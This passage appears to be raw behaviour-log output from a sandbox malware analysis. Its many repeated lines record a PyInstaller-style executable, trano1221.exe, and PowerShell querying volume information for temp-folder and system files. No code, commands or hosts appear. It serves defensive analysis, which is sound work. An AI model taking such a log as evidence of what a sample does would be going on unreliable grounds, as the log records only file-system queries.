Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\certifi VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\cryptography-43.0.3.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\cryptography-43.0.3.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\cryptography-43.0.3.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\cryptography-43.0.3.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\cryptography-43.0.3.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\cryptography-43.0.3.dist-info\license_files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\cryptography-43.0.3.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools\_vendor VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools\_vendor\importlib_metadata-8.0.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools\_vendor VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools\_vendor VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools\_vendor\importlib_metadata-8.0.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\setuptools\_vendor VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\win32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\win32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\zstandard VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\ucrtbase.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\_ctypes.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\win32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\Pythonwin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-console-l1-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-datetime-l1-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-errorhandling-l1-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-file-l1-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-file-l1-2-0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-file-l2-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-handle-l1-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-heap-l1-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-localization-l1-2-0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-processenvironment-l1-1-0.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\cryptography-43.0.3.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\win32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\win32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\win32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\win32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\Pythonwin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\Pythonwin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\Pythonwin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\Pythonwin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
